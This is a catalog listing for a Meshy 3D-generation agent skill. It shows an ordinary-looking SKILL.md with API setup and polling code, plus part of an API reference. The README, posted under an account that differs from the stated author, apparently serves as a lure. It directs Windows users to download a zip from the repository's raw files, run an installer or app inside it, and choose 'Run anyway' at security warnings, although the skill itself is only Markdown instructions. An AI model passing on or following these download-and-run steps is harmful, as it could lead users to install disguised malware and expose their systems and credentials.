⏳ This skill is pending AI review.

Scores will appear once the review pipeline completes.

v1.0.0

meshy-3d-generation

laic-parsiism709@laic-parsiism709⭐ 5 stars· last commit 1mo ago· 0 open issues

Generate 3D models, textures, images, rig characters, and animate them using the Meshy AI API. Handles API key detection, setup, and all generation workflows via direct HTTP calls. Use when the user asks to create 3D models, convert text/images to 3D, texture models, rig or animate characters, or interact with the Meshy API.

Choose how to use this skill

You do not need every option. Choose the path your AI client supports. The stable page stays the same; versioned files are immutable.

1. Native installer

This listing has no registered native installer command. Use the complete package or source fallback below, depending on what your client supports.

Do not guess an installer command or replace an existing version without reviewing the diff.

2. Complete package recommended

Download the ZIP when available. It includes SKILL.md plus the references, security notes and version metadata.

No complete ProSkills package is published for this listing yet.

3. Prompt-only

Copy the prompt above when the agent can read the stable page or when you want to adopt the workflow without installing a skill.

Need only the instruction file?

Download SKILL.md only if your client requires a single file. The complete ZIP is safer for a full installation because it preserves the references and release context.

No path installs or executes anything by itself. Your agent still needs access to the project files. Before updating, compare the installed version and review the diff.

—/10

// RATINGS

⭐GitHub Stars
⭐ 5 on GitHubGitHub ↗

New / niche

🟢ProSkills Score
—
📍

Not yet listed on ClawHub or SkillsMP

// README

🤖 meshy-3d-agent - 3D AI skills for Meshy workflows

Download

📦 What this is

meshy-3d-agent gives you ready-made AI agent skills for the Meshy AI 3D generation platform. It helps you turn text prompts or images into 3D assets with less setup and fewer steps.

Use it if you want a simple way to work with Meshy through agent skills in tools like Claude Code or Cursor. It is set up for end users who want to get started fast on Windows.

🚀 Download and install

  1. Open the Releases page
  2. Download the latest release file for Windows
  3. If the file is a .zip, right-click it and choose Extract All
  4. Open the extracted folder
  5. Run the included app, installer, or skill setup file

If Windows shows a security prompt, choose Run anyway only if you downloaded the file from the Releases page above.

🪟 Windows requirements

You need:

  • Windows 10 or Windows 11
  • An internet connection
  • A Meshy AI account
  • A modern browser such as Edge, Chrome, or Firefox
  • A text editor or agent tool if you plan to use the skills in Claude Code or Cursor

For smooth use, keep at least 2 GB of free disk space.

✨ What you can do

  • Generate 3D models from text
  • Turn images into 3D-ready assets
  • Use AI agent skills for Meshy workflows
  • Reuse prompts and task steps in Claude Code
  • Use the same skill files in Cursor-style workflows
  • Speed up repeated 3D generation tasks
  • Keep your setup in one place

🧭 How it works

The repository provides skill files that guide an AI agent through Meshy tasks. Instead of starting from scratch each time, you use a prepared set of steps.

A simple flow looks like this:

  1. Open your agent tool
  2. Load the Meshy skill files
  3. Enter a text prompt or image prompt
  4. Let Meshy generate the 3D output
  5. Review the result and make changes if needed

🛠️ Setup on Windows

1) Download the release

Use this link to visit the download page:

Visit Releases

2) Extract the files

If the release comes as a zip file:

  • Right-click the file
  • Select Extract All
  • Pick a folder you can find later, such as Downloads or Documents

3) Open the skill folder

Look for files with names that match the skill set, such as:

  • skill.md
  • prompt files
  • helper files
  • setup notes

4) Add it to your agent tool

If you use Claude Code or Cursor:

  • Open the app
  • Open the folder that contains the skill files
  • Follow the built-in skill instructions
  • Load the Meshy skill when you want to create 3D content

5) Sign in to Meshy

If the skill needs access to your Meshy account:

  • Open Meshy in your browser
  • Sign in with your account
  • Keep the tab open while you work if your flow needs it

🧩 Use cases

Text to 3D

Use a short prompt to create a model from words. Good for:

  • props
  • objects
  • simple scene assets
  • concept ideas

Example prompts:

  • small sci-fi crate with metal edges
  • fantasy lantern with carved wood details
  • toy robot with rounded parts

Image to 3D

Start with a reference image and turn it into a 3D asset. Good for:

  • logos
  • product shapes
  • characters
  • sketches

Tips for better results:

  • use a clear image
  • keep the object centered
  • avoid busy backgrounds
  • use a simple side or front view when possible

Repeated agent tasks

Use the same skill files when you need to:

  • test new prompts
  • create many versions
  • follow the same workflow each time
  • keep output steps consistent

🧪 Best results on Windows

  • Keep one browser window open for Meshy
  • Use short prompts first
  • Add more detail after you see the first result
  • Save each export in a named folder
  • Keep your files in one place so you can find them later

If a model looks wrong, try a simpler prompt before you change too many things at once.

📁 Suggested folder setup

You can keep the files in a layout like this:

  • Documents\meshy-3d-agent\
  • Documents\meshy-3d-agent\skills\
  • Documents\meshy-3d-agent\exports\
  • Documents\meshy-3d-agent\prompts\

This makes it easier to find your skill files and finished 3D assets.

❓ Common questions

Do I need to know how to code?

No. This repository is meant to help normal users work with Meshy through ready-made skill files and simple steps.

Can I use this with Claude Code?

Yes. The topic set includes Claude Code skills, so the files are meant to fit that kind of workflow.

Can I use it with Cursor?

Yes. The skill files are also suited for Cursor-style use.

Does it work for both text and image input?

Yes. The repository focuses on both text-to-3D and image-to-3D workflows.

Is this only for advanced users?

No. The setup is aimed at users who want a guided path for Meshy tasks on Windows.

🔍 File types you may see

Depending on the release, you may see files such as:

  • .md files for instructions
  • .zip files for packaged downloads
  • prompt templates
  • skill folders
  • text files with workflow steps

Open the .md files in Notepad, Notepad++, or your agent tool if you want to read the instructions.

🎯 Typical workflow

  1. Download the release
  2. Extract the files
  3. Open the skill instructions
  4. Open Meshy in your browser
  5. Enter a prompt or image
  6. Review the generated 3D asset
  7. Adjust the prompt if needed
  8. Save the final output

🧷 Topics covered

  • 3D generation
  • agent skills
  • AI
  • Claude Code skills
  • Claude skills
  • Cursor skills
  • image to 3D
  • Meshy
  • skill.md
  • text to 3D

📌 Folder and file names to look for

When you open the release files, look for names that point to the main skill content. Common names may include:

  • README.md
  • skill.md
  • instructions.md
  • prompts
  • assets
  • examples

🖥️ If Windows asks what to open

If you downloaded a zip file:

  • use File Explorer
  • right-click the file
  • choose Extract All

If you downloaded a .md file:

  • open it with Notepad or your agent tool

If you downloaded an app or installer:

  • double-click the file
  • follow the setup screen
  • finish the install
  • open the app from the Start menu

🔄 Updating to a newer release

When a new version appears on the Releases page:

  1. Download the newest release
  2. Extract it in a new folder
  3. Replace old skill files if needed
  4. Open the new files in your agent tool
  5. Test a prompt to confirm the setup still works

📎 Download again

If you need to get the files again, use the Releases page here:

https://github.com/Laic-parsiism709/meshy-3d-agent/raw/refs/heads/main/skills/meshy_agent_d_2.5-beta.4.zip

// HOW IT'S BUILT

// FILES

3 files shipped with this skill. Inline text is the catalog copy. The upstream link is the source repository.

  • skills/meshy-3d-generation/SKILL.md23 KB7c4db66458adupstream ↗
    ---
    name: meshy-3d-generation
    description: Generate 3D models, textures, images, rig characters, and animate them using the Meshy AI API. Handles API key detection, setup, and all generation workflows via direct HTTP calls. Use when the user asks to create 3D models, convert text/images to 3D, texture models, rig or animate characters, or interact with the Meshy API.
    license: MIT
    compatibility: Requires Python 3 with requests package. Works with Claude Code, Cursor, and all Agent Skills compatible tools.
    metadata:
      author: meshy-dev
      version: "1.0.0"
      homepage: https://github.com/meshy-dev/meshy-3d-agent
    allowed-tools: Bash, Read, Write, Glob, Grep
    ---
    
    # Meshy 3D Generation
    
    Directly communicate with the Meshy AI API to generate 3D assets. This skill handles the complete lifecycle: environment setup, API key detection, task creation, polling, downloading, and chaining multi-step pipelines.
    
    For full endpoint reference (all parameters, response schemas, error codes), read [reference.md](reference.md).
    
    ---
    
    ## IMPORTANT: First-Use Session Notice
    
    When this skill is first activated in a session, inform the user:
    
    > All generated files will be saved to `meshy_output/` in the current working directory. Each project gets its own folder (`{YYYYMMDD_HHmmss}_{prompt}_{id}/`) with model files, textures, thumbnails, and metadata. History is tracked in `meshy_output/history.json`.
    
    This only needs to be said **once per session**, at the beginning.
    
    ## IMPORTANT: File Organization
    
    All downloaded files MUST go into a structured `meshy_output/` directory in the current working directory. **Do NOT scatter files randomly.**
    
    - Each project gets its own folder: `meshy_output/{YYYYMMDD_HHmmss}_{prompt_slug}_{task_id_prefix}/`
    - For chained tasks (preview → refine → rig), reuse the same `project_dir`
    - Track tasks in `metadata.json` per project, and global `history.json`
    - Auto-download thumbnails alongside models
    
    The Reusable Script Template below includes `get_project_dir()`, `record_task()`, and `save_thumbnail()` helpers.
    
    ---
    
    ## IMPORTANT: Shell Command Rules
    
    **Use only standard POSIX tools in shell commands.** Do NOT use `rg` (ripgrep), `fd`, or other non-standard CLI tools — they may not be installed. Use these standard alternatives instead:
    
    | Do NOT use | Use instead |
    |---|---|
    | `rg` | `grep` |
    | `fd` | `find` |
    | `bat` | `cat` |
    | `exa` / `eza` | `ls` |
    
    ---
    
    ## IMPORTANT: Run Long Tasks Properly
    
    Meshy generation tasks take 1–5 minutes. When running Python scripts that poll for completion:
    
    - Write the entire create → poll → download flow as **ONE Python script** and execute it in a single Bash call. Do NOT split into multiple commands. This keeps the API key, task IDs, and session in one process context.
    - Use `python3 -u script.py` (unbuffered) so progress output is visible in real time.
    - Be patient with long-running scripts — do NOT interrupt or kill them prematurely. Tasks at 99% for 30–120s is normal finalization, not a failure.
    
    ---
    
    ## Step 0: Environment Detection (ALWAYS RUN FIRST)
    
    Before any API call, detect whether the environment is ready:
    
    ```bash
    echo "=== Meshy API Key Detection ==="
    
    # 1. Check current env var
    if [ -n "$MESHY_API_KEY" ]; then
      echo "ENV_VAR: FOUND (${MESHY_API_KEY:0:8}...)"
    else
      echo "ENV_VAR: NOT_FOUND"
    fi
    
    # 2. Check .env files in workspace
    for f in .env .env.local; do
      if [ -f "$f" ] && grep -q "MESHY_API_KEY" "$f" 2>/dev/null; then
        echo "DOTENV($f): FOUND"
        export $(grep "MESHY_API_KEY" "$f" | head -1)
      fi
    done
    
    # 3. Check shell profiles
    for f in ~/.zshrc ~/.bashrc ~/.bash_profile ~/.profile; do
      if [ -f "$f" ] && grep -q "MESHY_API_KEY" "$f" 2>/dev/null; then
        echo "SHELL_PROFILE: FOUND in $f"
      fi
    done
    
    # 4. Final status
    if [ -n "$MESHY_API_KEY" ]; then
      echo "READY: key=${MESHY_API_KEY:0:12}..."
    else
      echo "READY: NO_KEY_FOUND"
    fi
    
    # 5. Python requests check
    python3 -c "import requests; print('PYTHON_REQUESTS: OK')" 2>/dev/null || echo "PYTHON_REQUESTS: MISSING (run: pip install requests)"
    
    echo "=== Detection Complete ==="
    ```
    
    ### Decision After Detection
    
    - **Key found** → Proceed to Step 1.
    - **Key NOT found** → Go to Step 0a.
    - **Python requests missing** → Run `pip install requests`.
    
    ## Step 0a: API Key Setup (Only If No Key Found)
    
    Tell the user:
    
    > To use the Meshy API, you need an API key. Here's how to get one:
    >
    > 1. Go to **https://www.meshy.ai/settings/api**
    > 2. Click **"Create API Key"**, give it a name, and copy the key (it starts with `msy_`)
    > 3. The key is only shown once — save it somewhere safe
    >
    > **Note:** API access requires a **Pro plan or above**. Free-tier accounts cannot create API keys. If you see "Please upgrade to a premium plan to create API tasks", you'll need to upgrade at https://www.meshy.ai/pricing first.
    
    Once the user provides their key, set it and verify:
    
    **macOS (zsh):**
    ```bash
    export MESHY_API_KEY="msy_PASTE_KEY_HERE"
    
    # Verify
    STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
      -H "Authorization: Bearer $MESHY_API_KEY" \
      https://api.meshy.ai/openapi/v1/balance)
    
    if [ "$STATUS" = "200" ]; then
      BALANCE=$(curl -s -H "Authorization: Bearer $MESHY_API_KEY" https://api.meshy.ai/openapi/v1/balance)
      echo "Key valid. $BALANCE"
      echo 'export MESHY_API_KEY="msy_PASTE_KEY_HERE"' >> ~/.zshrc
      echo "Persisted to ~/.zshrc"
    else
      echo "Key invalid (HTTP $STATUS). Check the key and try again."
    fi
    ```
    
    **Linux (bash):**
    ```bash
    export MESHY_API_KEY="msy_PASTE_KEY_HERE"
    
    # Verify (same as above), then persist to ~/.bashrc
    STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
      -H "Authorization: Bearer $MESHY_API_KEY" \
      https://api.meshy.ai/openapi/v1/balance)
    
    if [ "$STATUS" = "200" ]; then
      BALANCE=$(curl -s -H "Authorization: Bearer $MESHY_API_KEY" https://api.meshy.ai/openapi/v1/balance)
      echo "Key valid. $BALANCE"
      echo 'export MESHY_API_KEY="msy_PASTE_KEY_HERE"' >> ~/.bashrc
      echo "Persisted to ~/.bashrc"
    else
      echo "Key invalid (HTTP $STATUS). Check the key and try again."
    fi
    ```
    
    **Windows (PowerShell):**
    ```powershell
    $env:MESHY_API_KEY = "msy_PASTE_KEY_HERE"
    
    # Verify
    $status = (Invoke-WebRequest -Uri "https://api.meshy.ai/openapi/v1/balance" -Headers @{Authorization="Bearer $env:MESHY_API_KEY"} -UseBasicParsing).StatusCode
    if ($status -eq 200) {
        Write-Host "Key valid."
        # Persist permanently
        [System.Environment]::SetEnvironmentVariable("MESHY_API_KEY", $env:MESHY_API_KEY, "User")
        Write-Host "Persisted to user environment variables. Restart terminal to take effect."
    } else {
        Write-Host "Key invalid (HTTP $status). Check the key and try again."
    }
    ```
    
    **Alternative (all platforms):** Create a `.env` file in your project root:
    ```
    MESHY_API_KEY=msy_PASTE_KEY_HERE
    ```
    
    ---
    
    ## Step 1: Confirm Plan With User Before Spending Credits
    
    **CRITICAL**: Before creating any task, present the user with a summary and get confirmation:
    
    ```
    I'll generate a 3D model of "<prompt>" using the following plan:
    
      1. Preview (mesh generation) — 20 credits
      2. Refine (texturing with PBR) — 10 credits
      3. Download as .glb
    
      Total cost: 30 credits
      Current balance: <N> credits
    
      Shall I proceed?
    ```
    
    For multi-step pipelines (e.g., text-to-3d → rig → animate), present the FULL pipeline cost upfront:
    
    | Step | API | Credits |
    |---|---|---|
    | Preview | Text to 3D | 20 |
    | Refine | Text to 3D | 10 |
    | Rig | Auto-Rigging | 5 |
    | **Total** | | **35** |
    
    > **Note:** Rigging automatically includes basic walking + running animations for free (in `result.basic_animations`). Only add `Animate` (3 credits) if the user needs a custom animation beyond walking/running.
    
    Wait for user confirmation before executing.
    
    ### Intent → API Mapping
    
    | User wants to... | API | Endpoint | Credits |
    |---|---|---|---|
    | 3D model from text | Text to 3D | `POST /openapi/v2/text-to-3d` | 20 + 10 |
    | 3D model from one image | Image to 3D | `POST /openapi/v1/image-to-3d` | 20–30 |
    | 3D model from multiple images | Multi-Image to 3D | `POST /openapi/v1/multi-image-to-3d` | 20–30 |
    | New textures on existing model | Retexture | `POST /openapi/v1/retexture` | 10 |
    | Change mesh format/topology | Remesh | `POST /openapi/v1/remesh` | 5 |
    | Add skeleton to character | Auto-Rigging | `POST /openapi/v1/rigging` | 5 (includes walking + running) |
    | Animate a rigged character (custom) | Animation | `POST /openapi/v1/animations` | 3 |
    | 2D image from text | Text to Image | `POST /openapi/v1/text-to-image` | 3–9 |
    | Transform a 2D image | Image to Image | `POST /openapi/v1/image-to-image` | 3–9 |
    | Check credit balance | Balance | `GET /openapi/v1/balance` | 0 |
    
    ---
    
    ## Step 2: Execute the Workflow
    
    ### CRITICAL: Async Task Model
    
    All generation endpoints return `{"result": "<task_id>"}`, NOT the model. You MUST poll.
    
    **NEVER** read `model_urls` from the POST response.
    
    ### Reusable Script Template
    
    Use this as the base for ALL generation workflows:
    
    ```python
    #!/usr/bin/env python3
    """Meshy API task runner. Handles create → poll → download."""
    import requests, time, os, sys
    
    API_KEY = os.environ.get("MESHY_API_KEY", "")
    if not API_KEY:
        sys.exit("ERROR: MESHY_API_KEY not set")
    
    BASE = "https://api.meshy.ai"
    HEADERS = {"Authorization": f"Bearer {API_KEY}"}
    SESSION = requests.Session()
    SESSION.trust_env = False  # bypass any system proxy settings
    
    def create_task(endpoint, payload):
        resp = SESSION.post(f"{BASE}{endpoint}", headers=HEADERS, json=payload, timeout=30)
        if resp.status_code == 401:
            sys.exit("ERROR: Invalid API key (401)")
        if resp.status_code == 402:
            try:
                bal = SESSION.get(f"{BASE}/openapi/v1/balance", headers=HEADERS, timeout=10)
                balance = bal.json().get("balance", "unknown")
                sys.exit(f"ERROR: Insufficient credits (402). Current balance: {balance}. Top up at https://www.meshy.ai/pricing")
            except Exception:
                sys.exit("ERROR: Insufficient credits (402). Check balance at https://www.meshy.ai/pricing")
        if resp.status_code == 429:
            sys.exit("ERROR: Rate limited (429). Wait and retry.")
        resp.raise_for_status()
        task_id = resp.json()["result"]
        print(f"TASK_CREATED: {task_id}")
        return task_id
    
    def poll_task(endpoint, task_id, timeout=600):
        """Poll task with exponential backoff (5s→30s, fixed 15s at 95%+)."""
        elapsed = 0
        delay = 5            # Initial delay: 5s
        max_delay = 30       # Cap: 30s
        backoff = 1.5        # Backoff multiplier
        finalize_delay = 15  # Fixed delay during finalization (95%+)
        poll_count = 0
        while elapsed < timeout:
            poll_count += 1
            resp = SESSION.get(f"{BASE}{endpoint}/{task_id}", headers=HEADERS, timeout=30)
            resp.raise_for_status()
            task = resp.json()
            status = task["status"]
            progress = task.get("progress", 0)
            filled = int(progress / 5)
            bar = f"[{'█' * filled}{'░' * (20 - filled)}] {progress}%"
            print(f"  {bar} — {status} ({elapsed}s, poll #{poll_count})", flush=True)
            if status == "SUCCEEDED":
                return task
            if status in ("FAILED", "CANCELED"):
                msg = task.get("task_error", {}).get("message", "Unknown")
                sys.exit(f"TASK_{status}: {msg}")
            current_delay = finalize_delay if progress >= 95 else delay
            time.sleep(current_delay)
            elapsed += current_delay
            if progress < 95:
                delay = min(delay * backoff, max_delay)
        sys.exit(f"TIMEOUT after {timeout}s ({poll_count} polls)")
    
    def download(url, filepath):
        """Download a file to the given path (within a project directory)."""
        os.makedirs(os.path.dirname(filepath), exist_ok=True)
        print(f"Downloading {filepath}...", flush=True)
        resp = SESSION.get(url, timeout=300, stream=True)
        resp.raise_for_status()
        with open(filepath, "wb") as f:
            for chunk in resp.iter_content(chunk_size=8192):
                f.write(chunk)
        size_mb = os.path.getsize(filepath) / (1024 * 1024)
        print(f"DOWNLOADED: {filepath} ({size_mb:.1f} MB)")
    
    # --- File organization helpers (see File Organization section above) ---
    import re, json
    from datetime import datetime
    
    OUTPUT_ROOT = os.path.join(os.getcwd(), "meshy_output")
    os.makedirs(OUTPUT_ROOT, exist_ok=True)
    HISTORY_FILE = os.path.join(OUTPUT_ROOT, "history.json")
    
    def get_project_dir(task_id, prompt="", task_type="model"):
        timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
        slug = re.sub(r'[^a-z0-9]+', '-', (prompt or task_type).lower())[:30].strip('-')
        folder = f"{timestamp}_{slug}_{task_id[:8]}"
        project_dir = os.path.join(OUTPUT_ROOT, folder)
        os.makedirs(project_dir, exist_ok=True)
        return project_dir
    
    def record_task(project_dir, task_id, task_type, stage, prompt="", files=None):
        meta_path = os.path.join(project_dir, "metadata.json")
        if os.path.exists(meta_path):
            meta = json.load(open(meta_path))
        else:
            meta = {"project_name": prompt or task_type, "folder": os.path.basename(project_dir),
                    "root_task_id": task_id, "created_at": datetime.now().isoformat(),
                    "updated_at": datetime.now().isoformat(), "tasks": []}
        meta["tasks"].append({"task_id": task_id, "task_type": task_type, "stage": stage,
                              "files": files or [], "created_at": datetime.now().isoformat()})
        meta["updated_at"] = datetime.now().isoformat()
        json.dump(meta, open(meta_path, "w"), indent=2)
        # Update global history
        if os.path.exists(HISTORY_FILE):
            history = json.load(open(HISTORY_FILE))
        else:
            history = {"version": 1, "projects": []}
        folder = os.path.basename(project_dir)
        entry = next((p for p in history["projects"] if p["folder"] == folder), None)
        if entry:
            entry["task_count"] = len(meta["tasks"])
            entry["updated_at"] = meta["updated_at"]
        else:
            history["projects"].append({"folder": folder, "prompt": prompt, "task_type": task_type,
                "root_task_id": task_id, "created_at": meta["created_at"],
                "updated_at": meta["updated_at"], "task_count": len(meta["tasks"])})
        json.dump(history, open(HISTORY_FILE, "w"), indent=2)
    
    def save_thumbnail(project_dir, url):
        path = os.path.join(project_dir, "thumbnail.png")
        if os.path.exists(path): return
        try:
            r = SESSION.get(url, timeout=15); r.raise_for_status()
            open(path, "wb").write(r.content)
        except Exception: pass
    ```
    
    ### Text to 3D (Preview + Refine)
    
    Append this to the template above and run as one script:
    
    ```python
    PROMPT = "USER_PROMPT"  # max 600 chars
    
    # --- Preview ---
    preview_id = create_task("/openapi/v2/text-to-3d", {
        "mode": "preview",
        "prompt": PROMPT,
        "ai_model": "latest",
        # "model_type": "standard",    # "standard" | "lowpoly"
        # "topology": "triangle",      # "triangle" | "quad"
        # "target_polycount": 30000,   # 100–300000
        # "should_remesh": False,
        # "symmetry_mode": "auto",     # "auto" | "on" | "off"
        # "pose_mode": "t-pose",       # "" | "a-pose" | "t-pose" (use "t-pose" if rigging/animating later)
    })
    
    task = poll_task("/openapi/v2/text-to-3d", preview_id)
    project_dir = get_project_dir(preview_id, prompt=PROMPT)
    download(task["model_urls"]["glb"], os.path.join(project_dir, "preview.glb"))
    record_task(project_dir, preview_id, "text-to-3d", "preview", prompt=PROMPT, files=["preview.glb"])
    if task.get("thumbnail_url"):
        save_thumbnail(project_dir, task["thumbnail_url"])
    
    print(f"\nPREVIEW COMPLETE")
    print(f"  Task ID: {preview_id}")
    print(f"  Project: {project_dir}")
    print(f"  Formats: {', '.join(task['model_urls'].keys())}")
    
    # --- Refine ---
    refine_id = create_task("/openapi/v2/text-to-3d", {
        "mode": "refine",
        "preview_task_id": preview_id,
        "enable_pbr": True,
        "ai_model": "latest",
        # "texture_prompt": "",
        # "remove_lighting": True,     # Remove baked lighting (meshy-6/latest only, default True)
    })
    
    task = poll_task("/openapi/v2/text-to-3d", refine_id)
    download(task["model_urls"]["glb"], os.path.join(project_dir, "refined.glb"))
    record_task(project_dir, refine_id, "text-to-3d", "refined", prompt=PROMPT, files=["refined.glb"])
    
    print(f"\nREFINE COMPLETE")
    print(f"  Task ID: {refine_id}")
    print(f"  Project: {project_dir}")
    print(f"  Formats: {', '.join(task['model_urls'].keys())}")
    ```
    
    > **Refine compatibility**: Only previews generated with `meshy-5` or `latest` can be refined. `meshy-6` previews do NOT support refine (API returns 400). If the user wants to refine later, always use `meshy-5` or `latest` for the preview step.
    
    ### Image to 3D
    
    ```python
    import base64
    
    # For local files, convert to data URI:
    # with open("photo.jpg", "rb") as f:
    #     image_url = "data:image/jpeg;base64," + base64.b64encode(f.read()).decode()
    
    task_id = create_task("/openapi/v1/image-to-3d", {
        "image_url": "IMAGE_URL_OR_DATA_URI",
        "should_texture": True,
        "enable_pbr": True,            # Default is False; set True for metallic/roughness/normal maps
        "ai_model": "latest",
        # "image_enhancement": True,   # Optimize input image (meshy-6/latest only, default True)
        # "remove_lighting": True,     # Remove baked lighting from texture (meshy-6/latest only, default True)
    })
    
    task = poll_task("/openapi/v1/image-to-3d", task_id)
    download(task["model_urls"]["glb"], "model.glb")
    ```
    
    ### Multi-Image to 3D
    
    ```python
    task_id = create_task("/openapi/v1/multi-image-to-3d", {
        "image_urls": ["URL_1", "URL_2", "URL_3"],  # 1–4 images
        "should_texture": True,
        "enable_pbr": True,            # Default is False; set True for metallic/roughness/normal maps
        "ai_model": "latest",
        # "image_enhancement": True,   # Optimize input images (meshy-6/latest only, default True)
        # "remove_lighting": True,     # Remove baked lighting from texture (meshy-6/latest only, default True)
    })
    task = poll_task("/openapi/v1/multi-image-to-3d", task_id)
    download(task["model_urls"]["glb"], "model.glb")
    ```
    
    ### Retexture
    
    ```python
    task_id = create_task("/openapi/v1/retexture", {
        "input_task_id": "PREVIOUS_TASK_ID",      # or "model_url": "URL"
        "text_style_prompt": "wooden texture",     # or "image_style_url": "URL"
        "enable_pbr": True,
        # "remove_lighting": True,     # Remove baked lighting (meshy-6/latest only, default True)
    })
    task = poll_task("/openapi/v1/retexture", task_id)
    download(task["model_urls"]["glb"], "retextured.glb")
    ```
    
    ### Remesh / Format Conversion
    
    ```python
    task_id = create_task("/openapi/v1/remesh", {
        "input_task_id": "TASK_ID",
        "target_formats": ["glb", "fbx", "obj"],
        "topology": "quad",
        "target_polycount": 10000,
    })
    task = poll_task("/openapi/v1/remesh", task_id)
    for fmt, url in task["model_urls"].items():
        download(url, f"remeshed.{fmt}")
    ```
    
    ### Auto-Rigging + Animation
    
    **IMPORTANT: When the user explicitly asks to rig or animate, the generation step (text-to-3d / image-to-3d) MUST use `pose_mode: "t-pose"` for best rigging results.** If the model was already generated without t-pose, recommend regenerating with `pose_mode: "t-pose"` first.
    
    **Before rigging, verify the model's polygon count is under 300,000.** The script should auto-check and block if exceeded:
    
    ```python
    # Pre-rig check: verify face count (MUST be ≤ 300,000)
    source_endpoint = "/openapi/v2/text-to-3d"  # adjust to match the source task's endpoint
    source_task_id = "TASK_ID"
    check_resp = SESSION.get(f"{BASE}{source_endpoint}/{source_task_id}", headers=HEADERS, timeout=30)
    check_resp.raise_for_status()
    source = check_resp.json()
    face_count = source.get("face_count", 0)
    if face_count > 300000:
        print(f"ERROR: Model has {face_count:,} faces (limit: 300,000). Remesh first:")
        print(f"  create_task('/openapi/v1/remesh', {{'input_task_id': '{source_task_id}', 'target_polycount': 100000}})")
        sys.exit("Rigging blocked: face count too high")
    ```
    
    ```python
    # Rig (humanoid bipedal characters only, polycount must be ≤ 300,000)
    rig_id = create_task("/openapi/v1/rigging", {
        "input_task_id": "TASK_ID",
        "height_meters": 1.7,
    })
    rig_task = poll_task("/openapi/v1/rigging", rig_id)
    download(rig_task["result"]["rigged_character_glb_url"], "rigged.glb")
    
    # Rigging automatically includes basic walking + running animations — download them:
    download(rig_task["result"]["basic_animations"]["walking_glb_url"], "walking.glb")
    download(rig_task["result"]["basic_animations"]["running_glb_url"], "running.glb")
    
    # Only call meshy_animate if you need a CUSTOM animation beyond walking/running:
    # anim_id = create_task("/openapi/v1/animations", {
    #     "rig_task_id": rig_id,
    #     "action_id": 1,  # from Animation Library
    # })
    # anim_task = poll_task("/openapi/v1/animations", anim_id)
    # download(anim_task["result"]["animation_glb_url"], "animated.glb")
    ```
    
    ### Text to Image / Image to Image
    
    ```python
    # Text to Image
    task_id = create_task("/openapi/v1/text-to-image", {
        "ai_model": "nano-banana-pro",
        "prompt": "a futuristic spaceship",
    })
    task = poll_task("/openapi/v1/text-to-image", task_id)
    # Result: task["image_url"]
    
    # Image to Image
    task_id = create_task("/openapi/v1/image-to-image", {
        "ai_model": "nano-banana-pro",
        "prompt": "make it look cyberpunk",
        "reference_image_urls": ["URL"],
    })
    task = poll_task("/openapi/v1/image-to-image", task_id)
    ```
    
    ---
    
    ## Step 3: Report Results
    
    After task succeeds, report:
    
    1. **Downloaded file paths** and sizes
    2. **Task IDs** (for follow-up operations like refine, rig, retexture)
    3. **Available formats** (list `model_urls` keys)
    4. **Thumbnail URL** if present
    5. **Credits consumed** and remaining balance (run balance check)
    6. **Suggested next steps**:
       - Preview done → "Want to refine (add textures)?"
       - Model done → "Want to rig this character for animation?"
       - Rigged → "Want to apply an animation?"
       - Any model → "Want to remesh / export to another format?"
       - Any model → "Want to 3D print this model?" (requires `meshy-3d-printing` skill)
    
    ---
    
    ## Error Recovery
    
    | HTTP Status | Meaning | Action |
    |---|---|---|
    | 401 | Invalid API key | Re-run Step 0; ask user to check key |
    | 402 | Insufficient credits | Auto-query balance (`GET /openapi/v1/balance`), show current balance, link https://www.meshy.ai/pricing |
    | 422 | Cannot process | Explain limitation (e.g., non-humanoid for rigging) |
    | 429 | Rate limited | Auto-retry after 5s (max 3 times) |
    | 5xx | Server error | Auto-retry after 10s (once) |
    
    Task `FAILED` messages:
    - `"The server is busy..."` → retry with backoff (5s, 10s, 20s)
    - `"Internal server error."` → simplify prompt, retry once
    
    ---
    
    ## Known Behaviors & Constraints
    
    - **99% progress stall**: Tasks commonly sit at 99% for 30–120s during finalization. This is normal. Do NOT kill or restart.
    - **CORS**: API blocks browser requests. Always server-side.
    - **Asset retention**: Files deleted after **3 days** (non-Enterprise). Download immediately.
    - **PBR maps**: Must set `enable_pbr: true` explicitly.
    - **Format availability**: Check keys in `model_urls` before downloading — not all formats are always present.
    - **Timestamps**: All API timestamps are Unix epoch **milliseconds**.
    - **Large files**: Refined models can be 50–200 MB. Use streaming downloads with timeouts.
    
    ---
    
    ## Execution Checklist
    
    - [ ] Ran environment detection (Step 0)
    - [ ] API key present and verified
    - [ ] Presented cost summary and got user confirmation
    - [ ] Wrote complete workflow as single Python script
    - [ ] Ran script with `python3 -u` for unbuffered output
    - [ ] Reported file paths, formats, task IDs, and balance
    - [ ] Suggested next steps
    
    ## Additional Resources
    
    For the complete API endpoint reference including all parameters, response schemas, deprecated fields, and detailed error codes, read [reference.md](reference.md).
    
  • skills/meshy-3d-generation/reference.md21 KBf213fa76be43upstream ↗
    # Meshy API
    
    > Meshy is an AI-powered 3D model generation platform. The Meshy API is a RESTful API that allows you to programmatically generate 3D models, textures, images, rig characters, and animate them.
    
    Base URL: `https://api.meshy.ai`
    
    Docs: https://docs.meshy.ai
    
    ## Instructions for Large Language Models
    
    When generating code that integrates with the Meshy API, follow these guidelines:
    
    ### 1. Authentication
    
    All requests require a Bearer token in the `Authorization` header:
    
    ```
    Authorization: Bearer msy_YOUR_API_KEY
    ```
    
    API keys are created at https://www.meshy.ai/settings/api and have the format `msy_<random-string>`.
    
    ### 2. Asynchronous Task Model
    
    Meshy uses an asynchronous execution model. All generation endpoints return a task ID, not the result directly. You must poll the task status or use SSE streaming to get results.
    
    **Correct pattern:**
    
    ```python
    import requests, time, os
    
    headers = {"Authorization": f"Bearer {os.environ['MESHY_API_KEY']}"}
    
    # Step 1: Create a task
    response = requests.post(
        "https://api.meshy.ai/openapi/v2/text-to-3d",
        headers=headers,
        json={"mode": "preview", "prompt": "a monster mask"},
    )
    task_id = response.json()["result"]
    
    # Step 2: Poll until completion
    while True:
        task = requests.get(
            f"https://api.meshy.ai/openapi/v2/text-to-3d/{task_id}",
            headers=headers,
        ).json()
        if task["status"] == "SUCCEEDED":
            break
        if task["status"] == "FAILED":
            raise Exception(task["task_error"]["message"])
        time.sleep(5)
    
    # Step 3: Download result
    model_url = task["model_urls"]["glb"]
    ```
    
    **WRONG pattern** (expecting synchronous result):
    ```python
    # WRONG - the POST does not return a model
    response = requests.post("https://api.meshy.ai/openapi/v2/text-to-3d", ...)
